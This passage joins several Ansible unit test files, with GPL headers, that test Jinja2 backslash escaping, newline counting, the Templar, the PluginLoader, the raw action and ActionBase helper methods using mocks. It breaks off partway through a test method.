# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import jinja2
from ansible.compat.tests import unittest

from ansible.template import _escape_backslashes, _count_newlines_from_end

# These are internal utility functions only needed for templating.  They're
# algorithmic so good candidates for unittesting by themselves

class TestBackslashEscape(unittest.TestCase):

    test_data = (
                # Test backslashes in a filter arg are double escaped
                dict(
                    template=u"{{ 'test2 %s' | format('\\1') }}",
                    intermediate=u"{{ 'test2 %s' | format('\\\\1') }}",
                    expectation=u"test2 \\1",
                    args=dict()
                ),
                # Test backslashes inside the jinja2 var itself are double
                # escaped
                dict(
                    template=u"Test 2\\3: {{ '\\1 %s' | format('\\2') }}",
                    intermediate=u"Test 2\\3: {{ '\\\\1 %s' | format('\\\\2') }}",
                    expectation=u"Test 2\\3: \\1 \\2",
                    args=dict()
                ),
                # Test backslashes outside of the jinja2 var are not double
                # escaped
                dict(
                    template=u"Test 2\\3: {{ 'test2 %s' | format('\\1') }}; \\done",
                    intermediate=u"Test 2\\3: {{ 'test2 %s' | format('\\\\1') }}; \\done",
                    expectation=u"Test 2\\3: test2 \\1; \\done",
                    args=dict()
                ),
                # Test backslashes in a variable sent to a filter are handled
                dict(
                    template=u"{{ 'test2 %s' | format(var1) }}",
                    intermediate=u"{{ 'test2 %s' | format(var1) }}",
                    expectation=u"test2 \\1",
                    args=dict(var1=u'\\1')
                ),
                # Test backslashes in a variable expanded by jinja2 are double
                # escaped
                dict(
                    template=u"Test 2\\3: {{ var1 | format('\\2') }}",
                    intermediate=u"Test 2\\3: {{ var1 | format('\\\\2') }}",
                    expectation=u"Test 2\\3: \\1 \\2",
                    args=dict(var1=u'\\1 %s')
                ),
            )
    def setUp(self):
        self.env = jinja2.Environment()

    def tearDown(self):
        pass

    def test_backslash_escaping(self):

        for test in self.test_data:
            intermediate = _escape_backslashes(test['template'], self.env)
            self.assertEquals(intermediate, test['intermediate'])
            template = jinja2.Template(intermediate)
            args = test['args']
            self.assertEquals(template.render(**args), test['expectation'])

class TestCountNewlines(unittest.TestCase):

    def setUp(self):
        pass

    def tearDown(self):
        pass

    def test_zero_length_string(self):
        self.assertEquals(_count_newlines_from_end(u''), 0)

    def test_short_string(self):
        self.assertEquals(_count_newlines_from_end(u'The quick\n'), 1)

    def test_one_newline(self):
        self.assertEquals(_count_newlines_from_end(u'The quick brown fox jumped over the lazy dog' * 1000 + u'\n'), 1)

    def test_multiple_newlines(self):
        self.assertEquals(_count_newlines_from_end(u'The quick brown fox jumped over the lazy dog' * 1000 + u'\n\n\n'), 3)

    def test_zero_newlines(self):
        self.assertEquals(_count_newlines_from_end(u'The quick brown fox jumped over the lazy dog' * 1000), 0)

    def test_all_newlines(self):
        self.assertEquals(_count_newlines_from_end(u'\n' * 10), 10)

    def test_mostly_newlines(self):
        self.assertEquals(_count_newlines_from_end(u'The quick brown fox jumped over the lazy dog' + u'\n' * 1000), 1000)






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, MagicMock

from ansible import constants as C
from ansible.errors import *
from ansible.plugins import filter_loader, lookup_loader, module_loader
from ansible.plugins.strategy import SharedPluginLoaderObj
from ansible.template import Templar

from units.mock.loader import DictDataLoader

class TestTemplar(unittest.TestCase):

    def setUp(self):
        fake_loader = DictDataLoader({
          "/path/to/my_file.txt": "foo\n",
        })
        shared_loader = SharedPluginLoaderObj()
        variables = dict(
            foo="bar",
            bam="{{foo}}",
            num=1,
            var_true=True,
            var_false=False,
            var_dict=dict(a="b"),
            bad_dict="{a='b'",
            var_list=[1],
            recursive="{{recursive}}",
        )
        self.templar = Templar(loader=fake_loader, variables=variables)

    def tearDown(self):
        pass

    def test_templar_simple(self):

        templar = self.templar
        # test some basic templating
        self.assertEqual(templar.template("{{foo}}"), "bar")
        self.assertEqual(templar.template("{{foo}}\n"), "bar\n")
        self.assertEqual(templar.template("{{foo}}\n", preserve_trailing_newlines=True), "bar\n")
        self.assertEqual(templar.template("{{foo}}\n", preserve_trailing_newlines=False), "bar")
        self.assertEqual(templar.template("foo", convert_bare=True), "bar")
        self.assertEqual(templar.template("{{bam}}"), "bar")
        self.assertEqual(templar.template("{{num}}"), 1)
        self.assertEqual(templar.template("{{var_true}}"), True)
        self.assertEqual(templar.template("{{var_false}}"), False)
        self.assertEqual(templar.template("{{var_dict}}"), dict(a="b"))
        self.assertEqual(templar.template("{{bad_dict}}"), "{a='b'")
        self.assertEqual(templar.template("{{var_list}}"), [1])
        self.assertEqual(templar.template(1, convert_bare=True), 1)

        # force errors
        self.assertRaises(AnsibleUndefinedVariable, templar.template, "{{bad_var}}")
        self.assertRaises(AnsibleUndefinedVariable, templar.template, "{{lookup('file', bad_var)}}")
        self.assertRaises(AnsibleError, templar.template, "{{lookup('bad_lookup')}}")
        self.assertRaises(AnsibleError, templar.template, "{{recursive}}")
        self.assertRaises(AnsibleUndefinedVariable, templar.template, "{{foo-bar}}")

        # test with fail_on_undefined=False
        self.assertEqual(templar.template("{{bad_var}}", fail_on_undefined=False), "{{bad_var}}")

        # test set_available_variables()
        templar.set_available_variables(variables=dict(foo="bam"))
        self.assertEqual(templar.template("{{foo}}"), "bam")
        # variables must be a dict() for set_available_variables()
        self.assertRaises(AssertionError, templar.set_available_variables, "foo=bam")

    def test_templar_escape_backslashes(self):
        # Rule of thumb: If escape backslashes is True you should end up with
        # the same number of backslashes as when you started.
        self.assertEqual(self.templar.template("\t{{foo}}", escape_backslashes=True), "\tbar")
        self.assertEqual(self.templar.template("\t{{foo}}", escape_backslashes=False), "\tbar")
        self.assertEqual(self.templar.template("\\{{foo}}", escape_backslashes=True), "\\bar")
        self.assertEqual(self.templar.template("\\{{foo}}", escape_backslashes=False), "\\bar")
        self.assertEqual(self.templar.template("\\{{foo + '\t' }}", escape_backslashes=True), "\\bar\t")
        self.assertEqual(self.templar.template("\\{{foo + '\t' }}", escape_backslashes=False), "\\bar\t")
        self.assertEqual(self.templar.template("\\{{foo + '\\t' }}", escape_backslashes=True), "\\bar\\t")
        self.assertEqual(self.templar.template("\\{{foo + '\\t' }}", escape_backslashes=False), "\\bar\t")
        self.assertEqual(self.templar.template("\\{{foo + '\\\\t' }}", escape_backslashes=True), "\\bar\\\\t")
        self.assertEqual(self.templar.template("\\{{foo + '\\\\t' }}", escape_backslashes=False), "\\bar\\t")

    def test_template_jinja2_extensions(self):
        fake_loader = DictDataLoader({})
        templar = Templar(loader=fake_loader)
        
        old_exts = C.DEFAULT_JINJA2_EXTENSIONS
        try:
            C.DEFAULT_JINJA2_EXTENSIONS = "foo,bar"
            self.assertEqual(templar._get_extensions(), ['foo', 'bar'])
        finally:
            C.DEFAULT_JINJA2_EXTENSIONS = old_exts







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
from ansible.compat.tests import unittest
from ansible.compat.tests import BUILTINS

from ansible.compat.tests.mock import mock_open, patch, MagicMock

from ansible.plugins import MODULE_CACHE, PATH_CACHE, PLUGIN_PATH_CACHE, PluginLoader

class TestErrors(unittest.TestCase):

    def setUp(self):
        pass

    def tearDown(self):
        pass

    @patch.object(PluginLoader, '_get_paths')
    def test_print_paths(self, mock_method):
        mock_method.return_value = ['/path/one', '/path/two', '/path/three']
        pl = PluginLoader('foo', 'foo', '', 'test_plugins')
        paths = pl.print_paths()
        expected_paths = os.pathsep.join(['/path/one', '/path/two', '/path/three'])
        self.assertEqual(paths, expected_paths)

    def test_plugins__get_package_paths_no_package(self):
        pl = PluginLoader('test', '', 'test', 'test_plugin')
        self.assertEqual(pl._get_package_paths(), [])

    def test_plugins__get_package_paths_with_package(self):
        # the _get_package_paths() call uses __import__ to load a
        # python library, and then uses the __file__ attribute of
        # the result for that to get the library path, so we mock
        # that here and patch the builtin to use our mocked result
        foo = MagicMock()
        bar = MagicMock()
        bam = MagicMock()
        bam.__file__ = '/path/to/my/foo/bar/bam/__init__.py'
        bar.bam = bam
        foo.return_value.bar = bar
        pl = PluginLoader('test', 'foo.bar.bam', 'test', 'test_plugin')
        with patch('{0}.__import__'.format(BUILTINS), foo):
            self.assertEqual(pl._get_package_paths(), ['/path/to/my/foo/bar/bam'])

    def test_plugins__get_paths(self):
        pl = PluginLoader('test', '', 'test', 'test_plugin')
        pl._paths = ['/path/one', '/path/two']
        self.assertEqual(pl._get_paths(), ['/path/one', '/path/two'])

        # NOT YET WORKING
        #def fake_glob(path):
        #    if path == 'test/*':
        #        return ['test/foo', 'test/bar', 'test/bam']
        #    elif path == 'test/*/*'
        #m._paths = None
        #mock_glob = MagicMock()
        #mock_glob.return_value = []
        #with patch('glob.glob', mock_glob):
        #    pass

    def assertPluginLoaderConfigBecomes(self, arg, expected):
        pl = PluginLoader('test', '', arg, 'test_plugin')
        self.assertEqual(pl.config, expected)

    def test_plugin__init_config_list(self):
        config = ['/one', '/two']
        self.assertPluginLoaderConfigBecomes(config, config)

    def test_plugin__init_config_str(self):
        self.assertPluginLoaderConfigBecomes('test', ['test'])

    def test_plugin__init_config_none(self):
        self.assertPluginLoaderConfigBecomes(None, [])






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# (c) 2016, Saran Ahluwalia <ahlusar.ahluwalia@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type


from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, MagicMock, Mock
from ansible.plugins.action.raw import ActionModule
from ansible.playbook.task import Task

class TestCopyResultExclude(unittest.TestCase):

    def setUp(self):
        pass

    def tearDown(self):
        pass

    # The current behavior of the raw aciton in regards to executable is currently in question; 
    # the test_raw_executable_is_not_empty_string verifies the current behavior (whether it is desireed or not. 
    # Please refer to the following for context:
    # Issue: https://github.com/ansible/ansible/issues/16054
    # PR: https://github.com/ansible/ansible/pull/16085


    def test_raw_executable_is_not_empty_string(self):

        play_context = Mock()
        task = MagicMock(Task)
        task.async = MagicMock()
        connection = Mock()

        task.args = {'_raw_params': 'Args1'}
        play_context.check_mode = False

        self.mock_am = ActionModule(task, connection, play_context, loader=None, templar=None, shared_loader_obj=None)
        self.mock_am._low_level_execute_command = Mock(return_value = {})
        self.mock_am.display = Mock()

        self.mock_am.run()
        self.mock_am._low_level_execute_command.assert_called_with('Args1', executable=False)

    def test_raw_check_mode_is_True(self):

        play_context = Mock()
        task = MagicMock(Task)
        task.async = MagicMock()
        connection = Mock()

        task.args = {'_raw_params': 'Args1'}
        play_context.check_mode = True

        self.mock_am = ActionModule(task, connection, play_context, loader=None, templar=None, shared_loader_obj=None)
        self.mock_am._low_level_execute_command = Mock(return_value = {})
        self.mock_am.display = Mock()

        skipped_result = self.mock_am.run()

        self.assertEqual(skipped_result.get('skipped'), True)

    def test_raw_test_environment_is_None(self):

        play_context = Mock()
        task = MagicMock(Task)
        task.async = MagicMock()
        connection = Mock()

        task.args = {'_raw_params': 'Args1'}
        task.environment = None
        play_context.check_mode = False

        self.mock_am = ActionModule(task, connection, play_context, loader=None, templar=None, shared_loader_obj=None)
        self.mock_am._low_level_execute_command = Mock(return_value = {})
        self.mock_am.display = Mock()

        self.assertEqual(task.environment, None)

    def test_raw_task_vars_is_not_None(self):

        play_context = Mock()
        task = MagicMock(Task)
        task.async = MagicMock()
        connection = Mock()

        task.args = {'_raw_params': 'Args1'}
        task.environment = None
        play_context.check_mode = False

        self.mock_am = ActionModule(task, connection, play_context, loader=None, templar=None, shared_loader_obj=None)
        self.mock_am._low_level_execute_command = Mock(return_value = {})
        self.mock_am.display = Mock()

        self.mock_am.run(task_vars={'a': 'b'})
        self.assertEqual(task.environment, None)








# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







#!/usr/bin/env python
# -*- coding: utf-8 -*-
# (c) 2015, Florian Apolloner <florian@apolloner.eu>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import ast
import json
import pipes
import os

try:
    import builtins
except ImportError:
    import __builtin__ as builtins

from nose.tools import eq_, raises

from ansible.release import __version__ as ansible_version
from ansible import constants as C
from ansible.compat.six import text_type
from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, MagicMock, mock_open

from ansible.errors import AnsibleError
from ansible.playbook.play_context import PlayContext
from ansible.plugins import PluginLoader
from ansible.plugins.action import ActionBase
from ansible.template import Templar
from ansible.utils.unicode import to_bytes

from units.mock.loader import DictDataLoader

python_module_replacers = b"""
#!/usr/bin/python

#ANSIBLE_VERSION = "<<ANSIBLE_VERSION>>"
#MODULE_COMPLEX_ARGS = "<<INCLUDE_ANSIBLE_MODULE_COMPLEX_ARGS>>"
#SELINUX_SPECIAL_FS="<<SELINUX_SPECIAL_FILESYSTEMS>>"

test = u'Toshio \u304f\u3089\u3068\u307f'
from ansible.module_utils.basic import *
"""

powershell_module_replacers = b"""
WINDOWS_ARGS = "<<INCLUDE_ANSIBLE_MODULE_JSON_ARGS>>"
# POWERSHELL_COMMON
"""


class DerivedActionBase(ActionBase):
    TRANSFERS_FILES = False
    def run(self, tmp=None, task_vars=None):
        # We're not testing the plugin run() method, just the helper
        # methods ActionBase defines
        return super(DerivedActionBase, self).run(tmp=tmp, task_vars=task_vars)

class TestActionBase(unittest.TestCase):

    def test_action_base_run(self):
        mock_task = MagicMock()
        mock_task.action = "foo"
        mock_task.args = dict(a=1, b=2, c=3)

        mock_connection = MagicMock()

        play_context = PlayContext()

        mock_task.async = None
        action_base = DerivedActionBase(mock_task, mock_connection, play_context, None, None, None)
        results = action_base.run()
        self.assertEqual(results, dict())

        mock_task.async = 0
        action_base = DerivedActionBase(mock_task, mock_connection, play_context, None, None, None)
        results = action_base.run()
        self.assertEqual(results, dict(invocation=dict(module_name='foo', module_args=dict(a=1, b=2, c=3))))

    def test_action_base__configure_module(self):
        fake_loader = DictDataLoader({
        })

        # create our fake task
        mock_task = MagicMock()
        mock_task.action = "copy"

        # create a mock connection, so we don't actually try and connect to things
        mock_connection = MagicMock()

        # create a mock shared loader object
        def mock_find_plugin(name, options):
            if name == 'badmodule':
                return None
            elif '.ps1' in options:
                return '/fake/path/to/%s.ps1' % name
            else:
                return '/fake/path/to/%s' % name

        mock_module_loader = MagicMock()
        mock_module_loader.find_plugin.side_effect = mock_find_plugin
        mock_shared_obj_loader = MagicMock()
        mock_shared_obj_loader.module_loader = mock_module_loader

        # we're using a real play context here
        play_context = PlayContext()

        # our test class
        action_base = DerivedActionBase(
            task=mock_task,
            connection=mock_connection,
            play_context=play_context,
            loader=fake_loader,
            templar=None,
            shared_loader_obj=mock_shared_obj_loader,
        )

        # test python module formatting
        with patch.object(builtins, 'open', mock_open(read_data=to_bytes(python_module_replacers.strip(), encoding='utf-8'))) as m:
            with patch.object(os, 'rename') as m:
                mock_task.args = dict(a=1, foo='fö〩')
                mock_connection.module_implementation_preferences = ('',)
                (style, shebang, data, path) = action_base._configure_module(mock_task.action, mock_task.args)
                self.assertEqual(style, "new")
                self.assertEqual(shebang, u"#!/usr/bin/python")

                # test module not found
                self.assertRaises(AnsibleError, action_base._configure_module, 'badmodule', mock_task.args)

        # test powershell module formatting
        with patch.object(builtins, 'open', mock_open(read_data=to_bytes(powershell_module_replacers.strip(), encoding='utf-8'))) as m:
            mock_task.action = 'win_copy'
            mock_task.args = dict(b=2)
            mock_connection.module_implementation_preferences = ('.ps1',)
            (style, shebang, data, path) = action_base._configure_module('stat', mock_task.args)
            self.assertEqual(style, "new")
            self.assertEqual(shebang, u'#!powershell')

            # test module not found
            self.assertRaises(AnsibleError, action_base._configure_module, 'badmodule', mock_task.args)

    def test_action_base__compute_environment_string(self):
        fake_loader = DictDataLoader({
        })

        # create our fake task
        mock_task = MagicMock()
        mock_task.action = "copy"
        mock_task.args = dict(a=1)

        # create a mock connection, so we don't actually try and connect to things
        def env_prefix(**args):
            return ' '.join(['%s=%s' % (k, pipes.quote(text_type(v))) for k,v in args.items()])
        mock_connection = MagicMock()
        mock_connection._shell.env_prefix.side_effect = env_prefix

        # we're using a real play context here
        play_context = PlayContext()

        # and we're using a real templar here too
        templar = Templar(loader=fake_loader)

        # our test class
        action_base = DerivedActionBase(
            task=mock_task,
            connection=mock_connection,
            play_context=play_context,
            loader=fake_loader,
            templar=templar,
            shared_loader_obj=None,
        )

        # test standard environment setup
        mock_task.environment = [dict(FOO='foo'), None]
        env_string = action_base._compute_environment_string()
        self.assertEqual(env_string, "FOO=foo")

        # test where environment is not a list
        mock_task.environment = dict(FOO='foo')
        env_string = action_base._compute_environment_string()
        self.assertEqual(env_string, "FOO=foo")

        # test environment with a variable in it
        templar.set_available_variables(variables=dict(the_var='bar'))
        mock_task.environment = [dict(FOO='{{the_var}}')]
        env_string = action_base._compute_environment_string()
        self.assertEqual(env_string, "FOO=bar")

        # test with a bad environment set
        mock_task.environment = dict(FOO='foo')
        mock_task.environment = ['hi there']
        self.assertRaises(AnsibleError, action_base._compute_environment_string)

    def test_action_base__early_needs_tmp_path(self):
        # create our fake task
        mock_task = MagicMock()

        # create a mock connection, so we don't actually try and connect to things
        mock_connection = MagicMock()

        # we're using a real play context here
        play_context = PlayContext()

        # our test class
        action_base = DerivedActionBase(
            task=mock_task,
            connection=mock_connection,
            play_context=play_context,
            loader=None,
            templar=None,
            shared_loader_obj=None,
        )

        self.assertFalse(action_base._early_needs_tmp_path())

        action_base.TRANSFERS_FILES = True
        self.assertTrue(action_base._early_needs_tmp_path())

    def test_action_base__late_needs_tmp_path(self):
        # create our fake task
        mock_task = MagicMock()

        # create a mock connection, so we don't actually try and connect to things
        mock_connection = MagicMock()

        # we're using a real play context here
        play_context = PlayContext()

        # our test class
        action_base = DerivedActionBase(
            task=mock_task,
            connection=mock_connection,
            play_context=play_context,
            loader=None,
            templar=None,
            shared_loader_obj=None,
        )

        # assert no temp path is required because tmp is set
        self.assertFalse(action_base._late_needs_tmp_path("/tmp/foo", "new"))

        # assert no temp path is required when using a new-style module
        # with pipelining supported and enabled with no become method
        mock_connection.has_pipelining = True
        play_context.pipelining = True
        play_context.become_method = None
        self.assertFalse(action_base._late_needs_tmp_path(None, "new"))

        # assert a temp path is required for each of the following:
        # the module style is not 'new'
        mock_connection.has_pipelining = True
        play_context.pipelining = True
        play_context.become_method = None
        self.assertTrue(action_base._late_needs_tmp_path(None, "old"))
        # connection plugin does not support pipelining
        mock_connection.has_pipelining = False
        play_context.pipelining = True
        play_context.become_method = None
        self.assertTrue(action_base._late_needs_tmp_path(None, "new"))
        # pipelining is disabled via the play context settings
        mock_connection.has_pipelining = True
        play_context.pipelining = False
        play_context.become_method = None
        self.assertTrue(action_base._late_needs_tmp_path(None, "new"))
        # keep remote files is enabled
        # FIXME: implement
        # the become method is 'su'
        mock_connection.has_pipelining = True
        play_context.pipelining = True
        play_context.become_method = 'su'
        self.assertTrue(action_base._late_needs_tmp_path(None, "new"))

    def test_action_base__make_tmp_path(self):
        # create our fake task
        mock_task = MagicMock()

        # create a mock connection, so we don't actually try and connect to things
        mock_connection = MagicMock()
        mock_connection.transport = 'ssh'
        mock_connection._shell.mkdtemp.return_value = 'mkdir command'
        mock_connection._shell.join_path.side_effect = os.path.join

        # we're using a real play context here
        play_context = PlayContext()
        play_context.become = True
        play_context.become_user = 'foo'

        # our test class
        action_base = DerivedActionBase(
            task=mock_task,
            connection=mock_connection,
            play_context=play_context,
            loader=None,
            templar=None,
            shared_loader_obj=None,
        )

        action_base._low_level_execute_command = MagicMock()
        action_base._low_level_execute_command.return_value = dict(rc=0, stdout='/some/path')
        self.assertEqual(action_base._make_tmp_path('root'), '/some/path/')

        # empty path fails
        action_base._low_level_execute_command.return_value = dict(rc=0, stdout='')
        self.assertRaises(AnsibleError, action_base._make_tmp_path, 'root')

        # authentication failure
        action_base._low_level_execute_command.return_value = dict(rc=5, stdout='')
        self.assertRaises(AnsibleError, action_base._make_tmp_path, 'root')

        # ssh error
        action_base._low_level_execute_command.return_value = dict(rc=255, stdout='', stderr='')
        self.assertRaises(AnsibleError, action_base._make_tmp_path, 'root')
        play_context.verbosity = 5
        self.assertRaises(AnsibleError, action_base._make_tmp_path, 'root')

        # general error
        action_base._low_level_execute_command.return_value = dict(rc=1, stdout='some stuff here', stderr='')
        self.assertRaises(AnsibleError, action_base._make_tmp_path, 'root')
        action_base._low_level_execute_command.return_value = dict(rc=1, stdout='some stuff here', stderr='No space left on device')
        self.assertRaises(AnsibleError, action_base._make_tmp_path, 'root')

    def test_action_base__remove_tmp_path(self):
        # create our fake task
        mock_task = MagicMock()

        # create a mock connection, so we don't actually try and connect to things
        mock_connection = MagicMock()
        mock_connection._shell.remove.return_value = 'rm some stuff'

        # we're using a real play context here
        play_context = PlayContext()

        # our test class
        action_base = DerivedActionBase(
            task=mock_task,
            connection=mock_connection,
            play_context=play_context,
            loader=None,
            templar=None,
            shared_loader_obj=None,
        )

        action_base._low_level_execute_command = MagicMock()
        # these don't really return anything or raise errors, so
        # we're pretty much calling these for coverage right now
        action_base._remove_tmp_path('/bad/path/dont/remove')
        action_base._remove_tmp_path('/good/path/to/ansible-tmp-thing')

    @patch('os.unlink')
    @patch('os.fdopen')
    @patch('tempfile.mkstemp')
    def test_action_base__transfer_data(self, mock_mkstemp, mock_fdopen, mock_unlink):
        # create our fake task
        mock_task = MagicMock()

        # create a mock connection, so we don't actually try and connect to things
        mock_connection = MagicMock()
        mock_connection.put_file.return_value = None

        # we're using a real play context here
        play_context = PlayContext()

        # our test class
        action_base = DerivedActionBase(
            task=mock_task,
            connection=mock_connection,
            play_context=play_context,
            loader=None,
            templar=None,
            shared_loader_obj=None,
        )

        mock_afd = MagicMock()
        mock_afile = MagicMock()
        mock_mkstemp.return_value = (mock_afd, mock_afile)

        mock_unlink.return_value = None

        mock_afo = MagicMock()
        mock_afo.write.return_value = None
        mock_afo.flush.return_value = None
        mock_afo.close.return_value = None
        mock_fdopen.return_value = mock_afo

        self.assertEqual(action_base._transfer_data('/path/to/remote/file', 'some data'), '/path/to/remote/file')
        self.assertEqual(action_base._transfer_data('/path/to/remote/file', 'some mixed data: fö〩'), '/path/to/remote/file')
        self.assertEqual(action_base._transfer_data('/path/to/remote/file', dict(some_key='some value')), '/path/to/remote/file')
        self.assertEqual(action_base._transfer_data('/path/to/remote/file', dict(some_key='fö〩')), '/path/to/remote/file')

        mock_afo.write.side_effect = Exception()
        self.assertRaises(AnsibleError, action_base._transfer_data, '/path/to/remote/file', '')

    def test_action_base__execute_remote_stat(self):
        # create our fake task
        mock_task = MagicMock()

        # create a mock connection, so we don't actually try and connect to things
        mock_connection = MagicMock()

        # we're using a real play context here
        play_context = PlayContext()

        # our test class
        action_base = DerivedActionBase(
            task=mock_task,
            connection=mock_connection,
            play_context=play_context,
            loader=None,
            templar=None,
            shared_loader_obj=None,
        )

        action_base._execute_module = MagicMock()

        # test normal case
        action_base._execute_module.return_value = dict(stat=dict(checksum='1111111111111111111111111111111111', exists=True))
        res = action_base._execute_remote_stat(path='/path/to/file', all_vars=dict(), follow=False)
        self.assertEqual(res['checksum'], '1111111111111111111111111111111111')

        # test does not exist
        action_base._execute_module.return_value = dict(stat=dict(exists=False))
        res = action_base._execute_remote_stat(path='/path/to/file', all_vars=dict(), follow=False)
        self.assertFalse(res['exists'])
        self.assertEqual(res['checksum'], '1')

        # test no checksum in result from _execute_module
        action_base._execute_module.return_value = dict(stat=dict(exists=True))
        res = action_base._execute_remote_stat(path='/path/to/file', all_vars=dict(), follow=False)
        self.assertTrue(res['exists'])
        self.assertEqual(res['checksum'], '')

        # test stat call failed
        action_base._execute_module.return_value = dict(failed=True, msg="because I said so")
        self.assertRaises(AnsibleError, action_base._execute_remote_stat, path='/path/to/file', all_vars=dict(), follow=False)

    def test_action_base__execute_module(self):
        # create our fake task
        mock_task = MagicMock()
        mock_task.action = 'copy'
        mock_task.args = dict(a=1, b=2, c=3)

        # create a mock connection, so we don't actually try and connect to things
        def build_module_command(env_string, shebang, cmd, arg_path=None, rm_tmp=None):
            to_run = [env_string, cmd]
            if arg_path:
                to_run.append(arg_path)
            if rm_tmp:
                to_run.append(rm_tmp)
            return " ".join(to_run)

        mock_connection = MagicMock()
        mock_connection.build_module_command.side_effect = build_module_command
        mock_connection._shell.join_path.side_effect = os.path.join

        # we're using a real play context here
        play_context = PlayContext()

        # our test class
        action_base = DerivedActionBase(
            task=mock_task,
            connection=mock_connection,
            play_context=play_context,
            loader=None,
            templar=None,
            shared_loader_obj=None,
        )

        # fake a lot of methods as we test those elsewhere
        action_base._configure_module = MagicMock()
        action_base._supports_check_mode = MagicMock()
        action_base._late_needs_tmp_path = MagicMock()
        action_base._make_tmp_path = MagicMock()
        action_base._transfer_data = MagicMock()
        action_base._compute_environment_string = MagicMock()
        action_base._low_level_execute_command = MagicMock()
        action_base._fixup_perms = MagicMock()

        action_base._configure_module.return_value = ('new', '#!/usr/bin/python', 'this is the module data', 'path')
        action_base._late_needs_tmp_path.return_value = False
